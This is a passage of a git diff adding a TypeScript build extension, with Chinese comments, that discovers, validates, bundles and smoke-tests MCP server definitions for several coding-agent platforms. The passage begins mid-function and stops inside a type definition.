hasUnresolvedDynamicImport(code: string): boolean { + /** 使用宽只读对象遍历 ESTree,避免绑定解析器内部节点联合类型。 */ + const pending: unknown[] = [parseAst(code)]; + while (pending.length > 0) { + /** 当前待检查的语法树节点或容器。 */ + const value = pending.pop(); + if (value === null || typeof value !== 'object') + continue; + if (Array.isArray(value)) { + pending.push(...value); + continue; + } + /** 只读取 ESTree 公共 type/source/value 字段的节点视图。 */ + const node = value as Record; + if (node.type === 'ImportExpression') { + /** 动态导入参数必须是构建器能够静态识别的字符串字面量。 */ + const source = node.source as Record | undefined; + if (source?.type !== 'Literal' || typeof source.value !== 'string') + return true; + } + pending.push(...Object.values(node)); + } + return false; +} + +/** + * 把 Rolldown 实际解析的 Server 模块图登记给 Core。 + * + * @param context 当前 Extension build 上下文。 + * @param moduleIds 输出 Chunk 中的全部模块 ID。 + */ +function registerBundleWatchFiles(context: ExtensionBuildContext, moduleIds: readonly string[]): void { + for (const moduleId of moduleIds) { + /** 查询参数不属于文件名,虚拟模块与相对 ID也不能交给文件监听器。 */ + const file = moduleId.replace(/\?.*$/u, ''); + if (path.isAbsolute(file)) + context.addWatchFile(file); + } +} + +/** + * 判断 JSON-RPC 值是否是可安全读取字段的普通对象。 + * + * @param value 从 Server stdout 解析出的未知 JSON 值。 + * @returns 非数组对象返回 true。 + */ +function isRecord(value: unknown): value is Record { + return value !== null && typeof value === 'object' && !Array.isArray(value); +} + +/** + * 使用最小无 Secret 环境真实执行 initialize、initialized 与 tools/list。 + * + * Server stdout 只允许换行分隔的 JSON-RPC 消息。原始 stdout/stderr 永不进入错误、 + * Diagnostic 或 Artifact;超时和输出上限同时阻止构建被不可信实现无限占用。 + * + * @param server 已生成的 Node 20 ESM Bundle。 + * @param definition 作者声明的 stdio 环境映射。 + * @returns 成功时返回 undefined,失败时返回固定类别。 + */ +async function smokeTestServer( + server: string, + definition: Extract, +): Promise { + /** 只有明确公开的 literal 值进入探测进程;env 引用对应的宿主 Secret 不会被读取。 */ + const environment = Object.fromEntries(Object.entries(definition.env ?? {}) + .filter((entry): entry is [string, { readonly value: string }] => 'value' in entry[1]) + .map(([name, source]) => [name, source.value])); + + return new Promise((resolve) => { + /** 不经过 shell 的受限 Node 子进程。 */ + const child = spawn(process.execPath, [server], { + env: environment, + stdio: ['pipe', 'pipe', 'pipe'], + }); + /** 跨 stdout/stderr 共同计算、但永不持久化的输出字节数。 */ + let outputBytes = 0; + /** stdout 分块之间尚未形成完整 JSON 行的尾部。 */ + let stdoutBuffer = ''; + /** initialize 成功后才允许接受 tools/list 响应。 */ + let initialized = false; + /** tools/list 成功后等待子进程关闭再报告成功。 */ + let succeeded = false; + /** 保证所有错误、close 与 timeout 竞争只结算一次。 */ + let settled = false; + /** finish 请求后等待 close 时保存的稳定最终结果。 */ + let finalFailure: McpSmokeFailure | undefined; + /** SIGTERM 后兜底使用 SIGKILL 的短定时器。 */ + let forceKill: NodeJS.Timeout | undefined; + + /** + * 结束探测并确保子进程不会遗留活动句柄。 + * + * @param failure 固定失败类别;省略表示协议已成功完成。 + */ + const finish = (failure?: McpSmokeFailure): void => { + if (settled) + return; + settled = true; + finalFailure = failure; + clearTimeout(timeout); + child.stdin.destroy(); + if (child.exitCode === null && child.signalCode === null) { + child.kill('SIGTERM'); + forceKill = setTimeout(() => child.kill('SIGKILL'), 250); + forceKill.unref(); + } else { + resolve(finalFailure); + } + }; + + /** 总时限覆盖启动、两个请求与进程通信。 */ + const timeout = setTimeout(() => finish('timeout'), MCP_SMOKE_TIMEOUT_MS); + timeout.unref(); + + /** + * 处理单个完整 JSON-RPC stdout 行。 + * + * @param line 不含行尾的协议消息。 + */ + const consumeLine = (line: string): void => { + if (line.length === 0 || settled) + return; + /** 当前 stdout 行解析出的 JSON-RPC 候选。 */ + let message: unknown; + try { + message = JSON.parse(line); + } catch { + finish('protocol'); + return; + } + if (!isRecord(message) || message.jsonrpc !== '2.0') { + finish('protocol'); + return; + } + if (message.id === 1) { + /** initialize 响应必须给出版本、能力和 Server 身份。 */ + const result = message.result; + if (initialized || !isRecord(result) || typeof result.protocolVersion !== 'string' + || !isRecord(result.capabilities) || !isRecord(result.serverInfo) + || typeof result.serverInfo.name !== 'string' || typeof result.serverInfo.version !== 'string') { + finish('protocol'); + return; + } + initialized = true; + child.stdin.write(`${JSON.stringify({ jsonrpc: '2.0', method: 'notifications/initialized' })}\n`); + child.stdin.write(`${JSON.stringify({ jsonrpc: '2.0', id: 2, method: 'tools/list', params: {} })}\n`); + return; + } + if (message.id === 2) { + /** tools/list 必须发生在 initialize 之后并返回数组。 */ + if (!initialized || !isRecord(message.result) || !Array.isArray(message.result.tools)) { + finish('protocol'); + return; + } + succeeded = true; + finish(); + } + // Server 主动发送的通知不影响两个必需响应,未知 response ID 也不会泄漏内容。 + }; + + child.stdout.setEncoding('utf8'); + child.stderr.setEncoding('utf8'); + child.stdout.on('data', (chunk: string) => { + outputBytes += Buffer.byteLength(chunk); + if (outputBytes > MCP_SMOKE_OUTPUT_LIMIT) { + finish('output-limit'); + return; + } + stdoutBuffer += chunk; + /** 一次分块可能包含多个完整 JSON-RPC 行。 */ + const lines = stdoutBuffer.split('\n'); + stdoutBuffer = lines.pop() ?? ''; + for (const line of lines) + consumeLine(line.endsWith('\r') ? line.slice(0, -1) : line); + }); + child.stderr.on('data', (chunk: string) => { + outputBytes += Buffer.byteLength(chunk); + if (outputBytes > MCP_SMOKE_OUTPUT_LIMIT) + finish('output-limit'); + }); + child.once('error', () => finish('spawn')); + child.once('close', () => { + if (forceKill) + clearTimeout(forceKill); + if (!settled) { + settled = true; + clearTimeout(timeout); + finalFailure = succeeded ? undefined : 'process-exit'; + } + resolve(finalFailure); + }); + + /** 第一条请求固定使用公开协议版本,不包含工程配置或环境值。 */ + child.stdin.write(`${JSON.stringify({ + jsonrpc: '2.0', + id: 1, + method: 'initialize', + params: { + protocolVersion: '2025-11-25', + capabilities: {}, + clientInfo: { name: 'acplugin-build', version: '1.0.0' }, + }, + })}\n`); + }); +} + +/** + * 将完整本地 MCP 实现打包为单文件 Node 20 ESM,并收集第三方许可。 + * + * @param entry 用户提供的本地 Server TypeScript 入口。 + * @param directory Extension 工作目录中的目标 Server 目录。 + * @returns 可由 Adapter 贡献的 Server 与可选许可文件。 + */ +async function bundleServer( + context: ExtensionBuildContext, + entry: string, + directory: string, +): Promise { + /** 保留 Node 内置模块为 external 的内存构建结果。 */ + const output = await rolldownBuild({ + input: entry, + platform: 'node', + transform: { target: 'node20' }, + external: [/^node:/u], + write: false, + output: { + format: 'esm', + sourcemap: false, + codeSplitting: false, + comments: { legal: true }, + }, + }); + /** 构建产生的 JavaScript Chunk;协议要求严格只有一个。 */ + const chunks = output.output.filter((item): item is OutputChunk => item.type === 'chunk'); + if (chunks.length !== 1 || output.output.some(item => item.type === 'asset')) + throw new Error('Local MCP Server must bundle to one JavaScript chunk and no assets.'); + /** 唯一输出 Chunk,用于原生依赖检查、写入和许可收集。 */ + const chunk = chunks[0]!; + if (Object.keys(chunk.modules).some(isNativeAddon)) + throw new Error('Local MCP Server includes an unsupported native addon.'); + if (hasUnresolvedDynamicImport(chunk.code)) + throw new Error('Local MCP Server contains an unresolved dynamic import.'); + registerBundleWatchFiles(context, Object.keys(chunk.modules)); + await fs.mkdir(directory, { recursive: true }); + /** 最终贡献给交付单元的独立 ESM Server。 */ + const server = path.join(directory, 'server.mjs'); + await fs.writeFile(server, chunk.code); + /** Bundle 包含第三方依赖时生成的许可汇总。 */ + const licenses = await writeThirdPartyLicenses(chunk, directory); + return Object.freeze({ server, ...(licenses === undefined ? {} : { licenses }) }); +} + +/** + * 为全部已验证 stdio Server 各生成一次平台中立 Bundle。 + * + * @param context Core 提供的 Extension 隔离工作目录。 + * @param discovered 已通过 validate 阶段的 MCP 状态。 + * @returns 可由多个 Platform Adapter 复用的稳定 Built State。 + */ +export async function buildMcpServers( + context: ExtensionBuildContext, + discovered: Readonly, +): Promise { + /** 按发现顺序构建并保存定义的 Server 列表。 */ + const servers: BuiltMcpServer[] = []; + for (const server of discovered.servers) { + if (server.definition.transport === 'stdio') { + /** validate 已确认留在 Server 目录内的本地入口。 */ + const entry = path.resolve(server.directory, server.definition.entry ?? './server.ts'); + /** 当前 Server 独占的 Bundle 工作目录。 */ + const directory = path.join(context.workDir, server.id); + /** 当前 Server 生成且即将进行真实协议探测的 Bundle。 */ + const bundle = await bundleServer(context, entry, directory); + /** 探测结果只保留固定分类,禁止把子进程输出带入报告。 */ + const smokeFailure = await smokeTestServer(bundle.server, server.definition); + if (smokeFailure !== undefined) { + context.reportDiagnostic({ + code: 'MCP_STDIO_SMOKE_FAILED', + severity: 'error', + message: `Local MCP Server "${server.id}" failed initialize/tools/list smoke (${smokeFailure}).`, + location: { + path: path.relative(context.project.root, server.descriptorPath).split(path.sep).join('/'), + }, + }); + } + servers.push(Object.freeze({ + id: server.id, + definition: server.definition, + bundle, + })); + } else { + servers.push(Object.freeze({ id: server.id, definition: server.definition })); + } + } + return Object.freeze({ servers: Object.freeze(servers) }); +} diff --git a/packages/extensions/mcp/src/constants.ts b/packages/extensions/mcp/src/constants.ts new file mode 100644 index 0000000..799656e --- /dev/null +++ b/packages/extensions/mcp/src/constants.ts @@ -0,0 +1,32 @@ +/** MCP Extension 的稳定包名、配置名和诊断身份。 */ +export const EXTENSION_NAME = '@tokenroll/acplugin-extension-mcp'; + +/** Claude Code 官方 Platform 的稳定 ID。 */ +export const CLAUDE_CODE_PLATFORM_ID = 'claude-code'; + +/** Codex 官方 Platform 的稳定 ID。 */ +export const CODEX_PLATFORM_ID = 'codex'; + +/** Cursor 官方 Platform 的稳定 ID。 */ +export const CURSOR_PLATFORM_ID = 'cursor'; + +/** Antigravity 官方 Platform 的稳定 ID。 */ +export const ANTIGRAVITY_PLATFORM_ID = 'antigravity'; + +/** OpenCode 官方 Platform 的稳定 ID。 */ +export const OPENCODE_PLATFORM_ID = 'opencode'; + +/** Pi 官方 Platform 的稳定 ID。 */ +export const PI_PLATFORM_ID = 'pi'; + +/** Claude Code 与 Codex Platform 共同公开的 Plugin Manifest 逻辑 ID。 */ +export const PLUGIN_MANIFEST_ID = 'plugin-manifest'; + +/** 默认平台共同使用的 MCP 配置文件路径。 */ +export const MCP_MANIFEST_PATH = '.mcp.json'; + +/** MCP 一级目录接受的小写 kebab-case 格式。 */ +export const MCP_ID_PATTERN: RegExp = /^[a-z0-9]+(?:-[a-z0-9]+)*$/; + +/** MCP 环境变量引用接受的可移植名称格式。 */ +export const ENV_NAME_PATTERN: RegExp = /^[A-Za-z_][A-Za-z0-9_]*$/; diff --git a/packages/extensions/mcp/src/discovery.ts b/packages/extensions/mcp/src/discovery.ts new file mode 100644 index 0000000..e26fd48 --- /dev/null +++ b/packages/extensions/mcp/src/discovery.ts @@ -0,0 +1,413 @@ +import { promises as fs } from 'node:fs'; +import path from 'node:path'; +import type { + ExtensionDiscoverContext, + ExtensionValidateContext, +} from '@tokenroll/acplugin'; +import { ENV_NAME_PATTERN, MCP_ID_PATTERN } from './constants.js'; +import { + isMcpServerDefinition, + type McpServerDefinition, + type ValueSource, +} from './types.js'; + +/** discover 阶段保存的 MCP 描述、目录与已执行定义。 */ +export interface DiscoveredMcpServer { + /** 从一级目录名称取得的 MCP Server ID。 */ + readonly id: string; + /** 当前 MCP Server 的绝对源码目录。 */ + readonly directory: string; + /** `mcp.ts` 描述文件的绝对路径。 */ + readonly descriptorPath: string; + /** TypeScript 描述文件执行后得到的 Server 定义。 */ + readonly definition: McpServerDefinition; +} + +/** 非空 discover 结果,作为 Core 判断 Extension 拥有实际资源的信号。 */ +export interface DiscoveredMcpServers { + /** 按 Server ID 稳定排序的发现结果。 */ + readonly servers: readonly DiscoveredMcpServer[]; +} + +/** HTTP MCP 定义允许出现的公开字段。 */ +const HTTP_FIELDS = new Set(['transport', 'url', 'auth', 'headers']); + +/** stdio MCP 定义允许出现的公开字段。 */ +const STDIO_FIELDS = new Set(['transport', 'entry', 'env']); + +/** MCP auth 定义允许出现的字段。 */ +const AUTH_FIELDS = new Set(['type', 'env', 'scopes']); + +/** + * 兼容 TypeScript Loader 返回模块命名空间或已解包默认导出两种形态。 + * + * @param value TypeScript 描述文件的加载结果。 + * @returns 存在 default 时返回 default,否则返回原值。 + */ +function unwrapDefault(value: unknown): unknown { + if (value !== null && typeof value === 'object' && 'default' in value) + return (value as { readonly default: unknown }).default; + return value; +} + +/** + * 把绝对描述文件路径转换为不泄露工程根的诊断位置。 + * + * @param context 当前 discover 上下文。 + * @param sourcePath 需要报告的绝对来源路径。 + * @returns 以 srcDir 为基准且统一使用 POSIX 分隔符的位置。 + */ +function sourceLocation(context: ExtensionDiscoverContext, sourcePath: string): string { + /** 相对于规范源码根的安全报告路径。 */ + const relative = path.relative(context.srcDir, sourcePath).split(path.sep).join('/'); + return relative.startsWith('../') ? path.basename(sourcePath) : relative; +} + +/** + * 把 MCP 描述文件转换为相对于工程根的稳定诊断位置。 + * + * @param context 当前 validate 上下文。 + * @param server 需要报告位置的 Server。 + * @returns 不包含宿主绝对目录的 POSIX 工程路径。 + */ +function serverLocation(context: ExtensionValidateContext, server: DiscoveredMcpServer): string { + return path.relative(context.project.root, server.descriptorPath).split(path.sep).join('/'); +} + +/** + * 判断未知值是否为不带自定义原型的普通对象。 + * + * @param value 待验证的作者配置值。 + * @returns 值可安全按自有字段读取时返回 true。 + */ +function isPlainObject(value: unknown): value is Record { + if (value === null || typeof value !== 'object' || Array.isArray(value)) + return false; + /** 候选对象的原型,用于拒绝类实例和其他可执行访问器容器。 */ + const prototype = Object.getPrototypeOf(value); + return prototype === Object.prototype || prototype === null; +} + +/** + * 扫描并加载 `src/mcp//mcp.ts` 作者格式。 + * + * @param context Core 提供的隔离工作目录、源码根和 TypeScript Loader。 + * @param include 可选的显式 Server ID 白名单。 + * @returns 没有选中资源时返回 undefined,否则返回稳定发现状态。 + */ +export async function discoverMcpServers( + context: ExtensionDiscoverContext, + include?: ReadonlySet, +): Promise { + /** MCP Extension 独占的固定作者源码根。 */ + const root = path.join(context.srcDir, 'mcp'); + /** MCP 根目录中的一级目录项。 */ + let entries: import('node:fs').Dirent[]; + try { + entries = await fs.readdir(root, { withFileTypes: true }); + } catch /** error 保存当前目录读取失败,供 ENOENT 分支判断。 */ (error) { + if ((error as NodeJS.ErrnoException).code === 'ENOENT') + return undefined; + throw error; + } + + /** 成功加载并通过品牌检查的 MCP Server 定义。 */ + const servers: DiscoveredMcpServer[] = []; + /** include 中已经在源码目录找到的 Server ID。 */ + const includedIds = new Set(); + for (const entry of entries.sort((left, right) => left.name.localeCompare(right.name, 'en'))) { + /** 当前 MCP Server 候选目录的绝对路径。 */ + const directory = path.join(root, entry.name); + if (!entry.isDirectory() || !MCP_ID_PATTERN.test(entry.name)) { + context.reportDiagnostic({ + code: 'MCP_ENTRY_INVALID', + severity: 'error', + message: 'MCP entries must be one-level lowercase kebab-case directories.', + location: { path: sourceLocation(context, directory) }, + }); + continue; + } + if (include !== undefined && !include.has(entry.name)) + continue; + includedIds.add(entry.name); + /** 当前 MCP Server 必需的 TypeScript 描述文件。 */ + const descriptorPath = path.join(directory, 'mcp.ts'); + try { + /** Loader 执行并解包后的 MCP 定义候选值。 */ + const definition = unwrapDefault(await context.loadTypeScriptModule(descriptorPath)); + if (!isMcpServerDefinition(definition)) + throw new TypeError('MCP descriptor must use defineMcpServer().'); + servers.push(Object.freeze({ id: entry.name, directory, descriptorPath, definition })); + } catch { + context.reportDiagnostic({ + code: 'MCP_DESCRIPTOR_LOAD_FAILED', + severity: 'error', + message: `MCP Server "${entry.name}" descriptor could not be loaded or was not created by defineMcpServer().`, + location: { path: sourceLocation(context, descriptorPath) }, + }); + } + } + + if (include !== undefined) { + /** id 表示当前显式 include 项,用于报告不存在的作者资源。 */ + for (const id of include) { + if (!includedIds.has(id)) { + context.reportDiagnostic({ + code: 'MCP_INCLUDE_MISSING', + severity: 'error', + message: `Included MCP Server "${id}" does not exist under src/mcp.`, + location: { path: `mcp/${id}` }, + }); + } + } + } + + /** 目录完全为空或 include 明确没有选择资源时不激活 Extension。 */ + const hasSelectedResource = servers.length > 0 || includedIds.size > 0; + return hasSelectedResource ? Object.freeze({ servers: Object.freeze(servers) }) : undefined; +} + +/** + * 校验 Header 或环境映射中的每个值只使用字面量和环境变量之一。 + * + * @param context Core 提供的诊断出口。 + * @param server 当前 MCP Server。 + * @param values 待验证的名称到 ValueSource 映射。 + * @param fieldPath 映射所在的稳定字段路径。 + */ +function validateValueSources( + context: ExtensionValidateContext, + server: DiscoveredMcpServer, + values: Readonly> | undefined, + fieldPath: readonly string[], +): void { + if (values === undefined) + return; + if (!isPlainObject(values)) { + context.reportDiagnostic({ + code: 'MCP_VALUE_MAP_INVALID', severity: 'error', message: 'MCP value mappings must be plain objects.', + location: { path: serverLocation(context, server) }, fieldPath, + }); + return; + } + /** [name, source] 表示当前 Header 或环境变量映射。 */ + for (const [name, source] of Object.entries(values)) { + /** 当前 ValueSource 的精确诊断路径。 */ + const valuePath = [...fieldPath, name]; + if (name.trim().length === 0 || !isPlainObject(source) + || Object.keys(source).some(field => field !== 'value' && field !== 'env') + || (Object.hasOwn(source, 'value') === Object.hasOwn(source, 'env'))) { + context.reportDiagnostic({ + code: 'MCP_VALUE_SOURCE_INVALID', severity: 'error', + message: `MCP value "${name || ''}" must contain exactly one of value or env.`, + location: { path: serverLocation(context, server) }, fieldPath: valuePath, + }); + continue; + } + if ('value' in source && typeof source.value !== 'string') { + context.reportDiagnostic({ + code: 'MCP_LITERAL_INVALID', severity: 'error', message: `MCP value "${name}" literal must be a string.`, + location: { path: serverLocation(context, server) }, fieldPath: [...valuePath, 'value'], + }); + } + if ('env' in source && (typeof source.env !== 'string' || !ENV_NAME_PATTERN.test(source.env))) { + context.reportDiagnostic({ + code: 'MCP_ENV_INVALID', severity: 'error', message: `MCP value "${name}" environment name is invalid.`, + location: { path: serverLocation(context, server) }, fieldPath: [...valuePath, 'env'], + }); + } + } +} + +/** + * 校验 HTTP Server 的 URL、认证、Header 和未知字段。 + * + * @param context Core 提供的构建模式和诊断出口。 + * @param server 当前远程 MCP Server。 + */ +function validateHttpServer(context: ExtensionValidateContext, server: DiscoveredMcpServer): void { + /** 当前 Server 已由 transport 判别为 HTTP 的定义。 */ + const definition = server.definition as Extract; + /** field 表示当前定义的一个公开字段,用于拒绝宽类型绕过检查。 */ + for (const field of Object.keys(definition)) { + if (!HTTP_FIELDS.has(field)) { + context.reportDiagnostic({ + code: 'MCP_FIELD_UNKNOWN', severity: 'error', message: `Unknown HTTP MCP field "${field}".`, + location: { path: serverLocation(context, server) }, fieldPath: [field], + }); + } + } + /** 成功解析时的标准 URL,用于协议、凭据和主机安全检查。 */ + let url: URL | undefined; + try { + if (typeof definition.url !== 'string') + throw new TypeError('URL must be a string.'); + url = new URL(definition.url); + } catch { + context.reportDiagnostic({ + code: 'MCP_URL_INVALID', severity: 'error', message: `MCP Server "${server.id}" has an invalid URL.`, + location: { path: serverLocation(context, server) }, fieldPath: ['url'], + }); + } + if (url !== undefined) { + /** development 允许的明确 loopback 主机。 */ + const loopback = ['localhost', '127.0.0.1', '::1'].includes(url.hostname); + if (url.username !== '' || url.password !== '') { + context.reportDiagnostic({ + code: 'MCP_URL_CREDENTIALS_FORBIDDEN', severity: 'error', message: 'MCP URLs must not contain credentials.', + location: { path: serverLocation(context, server) }, fieldPath: ['url'], + }); + } + if (context.mode === 'production' && url.protocol !== 'https:') { + context.reportDiagnostic({ + code: 'MCP_HTTPS_REQUIRED', severity: 'error', message: `MCP Server "${server.id}" must use HTTPS in production.`, + location: { path: serverLocation(context, server) }, fieldPath: ['url'], + }); + } + if (context.mode === 'development' && url.protocol !== 'https:' && !(url.protocol === 'http:' && loopback)) { + context.reportDiagnostic({ + code: 'MCP_HTTP_LOOPBACK_ONLY', severity: 'error', + message: `MCP Server "${server.id}" may use HTTP only on loopback in development.`, + location: { path: serverLocation(context, server) }, fieldPath: ['url'], + }); + } + } + + if (definition.auth !== undefined) { + /** auth 候选值必须为无自定义原型的普通对象。 */ + const auth = definition.auth as unknown; + if (!isPlainObject(auth)) { + context.reportDiagnostic({ + code: 'MCP_AUTH_INVALID', severity: 'error', message: 'MCP auth must be a plain object.', + location: { path: serverLocation(context, server) }, fieldPath: ['auth'], + }); + } else { + /** field 表示当前认证声明字段,用于拒绝策略之外的 Secret 或命令配置。 */ + for (const field of Object.keys(auth)) { + if (!AUTH_FIELDS.has(field)) { + context.reportDiagnostic({ + code: 'MCP_AUTH_FIELD_UNKNOWN', severity: 'error', message: `Unknown MCP auth field "${field}".`, + location: { path: serverLocation(context, server) }, fieldPath: ['auth', field], + }); + } + } + if (auth.type !== 'none' && auth.type !== 'oauth' && auth.type !== 'bearer') { + context.reportDiagnostic({ + code: 'MCP_AUTH_TYPE_INVALID', severity: 'error', message: 'MCP auth type must be none, oauth, or bearer.', + location: { path: serverLocation(context, server) }, fieldPath: ['auth', 'type'], + }); + } + if (auth.type === 'none' && (Object.hasOwn(auth, 'env') || Object.hasOwn(auth, 'scopes'))) { + context.reportDiagnostic({ + code: 'MCP_AUTH_FIELD_INVALID', severity: 'error', message: 'MCP none auth cannot declare env or scopes.', + location: { path: serverLocation(context, server) }, fieldPath: ['auth'], + }); + } + if (auth.type === 'bearer' + && (typeof auth.env !== 'string' || !ENV_NAME_PATTERN.test(auth.env) || Object.hasOwn(auth, 'scopes'))) { + context.reportDiagnostic({ + code: 'MCP_BEARER_INVALID', severity: 'error', message: 'MCP bearer auth requires one valid env and no scopes.', + location: { path: serverLocation(context, server) }, fieldPath: ['auth'], + }); + } + if (auth.type === 'oauth') { + if (Object.hasOwn(auth, 'env')) { + context.reportDiagnostic({ + code: 'MCP_AUTH_FIELD_INVALID', severity: 'error', message: 'MCP OAuth auth cannot declare env.', + location: { path: serverLocation(context, server) }, fieldPath: ['auth', 'env'], + }); + } + if (auth.scopes !== undefined && (!Array.isArray(auth.scopes) + || auth.scopes.some(scope => typeof scope !== 'string' || scope.trim().length === 0) + || new Set(auth.scopes).size !== auth.scopes.length)) { + context.reportDiagnostic({ + code: 'MCP_OAUTH_SCOPE_INVALID', severity: 'error', + message: 'MCP OAuth scopes must contain unique non-empty strings.', + location: { path: serverLocation(context, server) }, fieldPath: ['auth', 'scopes'], + }); + } + } + } + } + validateValueSources(context, server, definition.headers, ['headers']); +} + +/** + * 校验本地 stdio Server 的入口边界、普通文件属性和环境映射。 + * + * @param context Core 提供的工程和诊断出口。 + * @param server 当前本地 MCP Server。 + */ +async function validateStdioServer(context: ExtensionValidateContext, server: DiscoveredMcpServer): Promise { + /** 当前 Server 已由 transport 判别为 stdio 的定义。 */ + const definition = server.definition as Extract; + /** field 表示当前定义的一个公开字段,用于拒绝宽类型绕过检查。 */ + for (const field of Object.keys(definition)) { + if (!STDIO_FIELDS.has(field)) { + context.reportDiagnostic({ + code: 'MCP_FIELD_UNKNOWN', severity: 'error', message: `Unknown stdio MCP field "${field}".`, + location: { path: serverLocation(context, server) }, fieldPath: [field], + }); + } + } + /** 默认或显式配置解析出的本地 Server 绝对入口。 */ + const entryValue = definition.entry ?? './server.ts'; + if (typeof entryValue !== 'string' || entryValue.trim().length === 0 || path.isAbsolute(entryValue)) { + context.reportDiagnostic({ + code: 'MCP_ENTRY_INVALID', severity: 'error', message: `MCP Server "${server.id}" entry must be a relative non-empty path.`, + location: { path: serverLocation(context, server) }, fieldPath: ['entry'], + }); + } else { + /** 用真实 Server 目录解析但不跟随候选入口符号链接。 */ + const entry = path.resolve(server.directory, entryValue); + /** 用于发现目录逃逸的入口相对路径。 */ + const relative = path.relative(server.directory, entry); + if (relative === '..' || relative.startsWith(`..${path.sep}`) || path.isAbsolute(relative)) { + context.reportDiagnostic({ + code: 'MCP_ENTRY_ESCAPE', severity: 'error', message: `MCP Server "${server.id}" entry must stay inside its directory.`, + location: { path: serverLocation(context, server) }, fieldPath: ['entry'], + }); + } else { + try { + /** lstat 用于拒绝入口文件本身是符号链接。 */ + const stat = await fs.lstat(entry); + if (!stat.isFile() || stat.isSymbolicLink()) + throw new TypeError('Entry is not a regular file.'); + } catch { + context.reportDiagnostic({ + code: 'MCP_ENTRY_MISSING', severity: 'error', message: `MCP Server "${server.id}" entry cannot be used.`, + location: { path: serverLocation(context, server) }, fieldPath: ['entry'], + }); + } + } + } + validateValueSources(context, server, definition.env, ['env']); +} + +/** + * 验证全部 MCP Server 的静态 Schema 与安全边界。 + * + * @param context Core 提供的规范工程和构建模式。 + * @param discovered discover 阶段得到的稳定 Server 列表。 + */ +export async function validateMcpServers( + context: ExtensionValidateContext, + discovered: Readonly, +): Promise { + /** server 表示当前待验证的远程声明或本地实现。 */ + for (const server of discovered.servers) { + /** transport 在作者使用宽类型时仍可能是未知值。 */ + const transport = (server.definition as { readonly transport?: unknown }).transport; + if (transport === 'http') + validateHttpServer(context, server); + else if (transport === 'stdio') + await validateStdioServer(context, server); + else { + context.reportDiagnostic({ + code: 'MCP_TRANSPORT_UNSUPPORTED', severity: 'error', + message: `MCP Server "${server.id}" transport is unsupported.`, + location: { path: serverLocation(context, server) }, fieldPath: ['transport'], + }); + } + } +} diff --git a/packages/extensions/mcp/src/index.ts b/packages/extensions/mcp/src/index.ts new file mode 100644 index 0000000..530cddc --- /dev/null +++ b/packages/extensions/mcp/src/index.ts @@ -0,0 +1,122 @@ +import { defineExtension, type AcpluginExtension } from '@tokenroll/acplugin'; +import { createMcpAdapters } from './adapters.js'; +import type { BuiltMcpServers } from './bundler.js'; +import { EXTENSION_NAME, MCP_ID_PATTERN } from './constants.js'; +import { + discoverMcpServers, + type DiscoveredMcpServers, + validateMcpServers, +} from './discovery.js'; + +export { EXTENSION_NAME } from './constants.js'; +export { defineMcpServer } from './types.js'; +export type { + BearerMcpAuth, + EnvironmentValueSource, + HttpMcpServer, + LiteralValueSource, + McpAuth, + McpServerDefinition, + McpServerInput, + NoMcpAuth, + OAuthMcpAuth, + StdioMcpServer, + ValueSource, +} from './types.js'; + +/** 创建 MCP Extension 时可声明的横向构建选项。 */ +export interface McpExtensionOptions { + /** 只构建这些 `src/mcp/`;省略时构建全部 Server。 */ + readonly include?: readonly string[]; +} + +/** MCP Extension 工厂当前接受的公开配置字段。 */ +const MCP_OPTION_FIELDS = new Set(['include']); + +/** + * 拒绝宽类型变量传入的未知 Extension 工厂字段。 + * + * @param options 配置作者提供的 MCP Extension 选项。 + */ +function validateOptions(options: McpExtensionOptions): void { + if (options === null || typeof options !== 'object' || Array.isArray(options)) + throw new TypeError('MCP options must be a plain object.'); + for (const field of Object.keys(options)) { + if (!MCP_OPTION_FIELDS.has(field)) + throw new TypeError(`Unknown MCP option "${field}".`); + } +} + +/** + * 校验并冻结可选 MCP Server ID 白名单。 + * + * @param include 配置作者提供的可选 ID 数组。 + * @returns 省略时返回 undefined,否则返回去重后的只读集合。 + */ +function normalizeInclude(include: McpExtensionOptions['include']): ReadonlySet | undefined { + if (include === undefined) + return undefined; + if (!Array.isArray(include)) + throw new TypeError('MCP include must be an array of lowercase kebab-case IDs.'); + /** 去重后提供给 discover 阶段的 MCP Server ID。 */ + const result = new Set(); + /** id 表示当前显式选择的 MCP Server ID。 */ + for (const id of include) { + if (typeof id !== 'string' || !MCP_ID_PATTERN.test(id)) + throw new TypeError('MCP include must contain only lowercase kebab-case IDs.'); + if (result.has(id)) + throw new TypeError(`MCP include contains duplicate ID "${id}".`); + result.add(id); + } + return result; +} + +/** + * 创建端到端拥有 MCP 作者格式、Bundle 和官方 Adapter 的品牌化 Extension。 + * + * @param options 可选的 MCP Server ID 白名单。 + * @returns 参与 Core 固定生命周期的 MCP Extension。 + */ +export function mcp( + options: McpExtensionOptions = {}, +): AcpluginExtension { + validateOptions(options); + /** 每个 Extension 实例独占且不可被作者随后修改的 include 集合。 */ + const include = normalizeInclude(options.include); + return defineExtension({ + name: EXTENSION_NAME, + apiVersion: '1', + /** 扫描 Extension 独占的 `src/mcp` 作者格式。 */ + discover: context => discoverMcpServers(context, include), + /** 在 Bundle 前验证远程安全策略与本地入口边界。 */ + validate: (context, discovered) => discovered === undefined + ? undefined + : validateMcpServers(context, discovered), + /** HTTP 声明无需加载 Bundler;只有实际 stdio 资源才动态引入 Rolldown。 */ + build: async (context, discovered) => { + if (discovered === undefined) + return Object.freeze({ servers: Object.freeze([]) }); + if (discovered.servers.every(server => server.definition.transport === 'http')) { + return Object.freeze({ + servers: Object.freeze(discovered.servers.map(server => Object.freeze({ + id: server.id, + definition: server.definition, + }))), + }); + } + /** + * 本地实现出现时才加载独立发布的重型构建入口。 + * + * URL 形式让只内联 HTTP 验证路径的消费者无需把 Rolldown 纳入自身构建图;正式 + * Extension tarball 始终同时携带 bundler.mjs。 + */ + const bundlerUrl = new URL('./bundler.mjs', import.meta.url); + /** 独立入口导出的本地 Bundle 与协议 smoke 实现。 */ + const { buildMcpServers } = await import(bundlerUrl.href) as typeof import('./bundler.js'); + return buildMcpServers(context, discovered); + }, + adapters: createMcpAdapters(), + }); +} + +export default mcp; diff --git a/packages/extensions/mcp/src/types.ts b/packages/extensions/mcp/src/types.ts new file mode 100644 index 0000000..70ebd1e --- /dev/null +++ b/packages/extensions/mcp/src/types.ts @@ -0,0 +1,103 @@ +/** Header 或进程环境值的公开字面量来源。 */ +export interface LiteralValueSource { + /** 明确允许进入构建产物的非敏感字符串。 */ + readonly value: string; +} + +/** Header 或进程环境值的运行时环境变量来源。 */ +export interface EnvironmentValueSource { + /** 只进入产物的环境变量名称;构建阶段不会读取对应值。 */ + readonly env: string; +} + +/** MCP Header 或环境字段可使用的两种互斥来源。 */ +export type ValueSource = 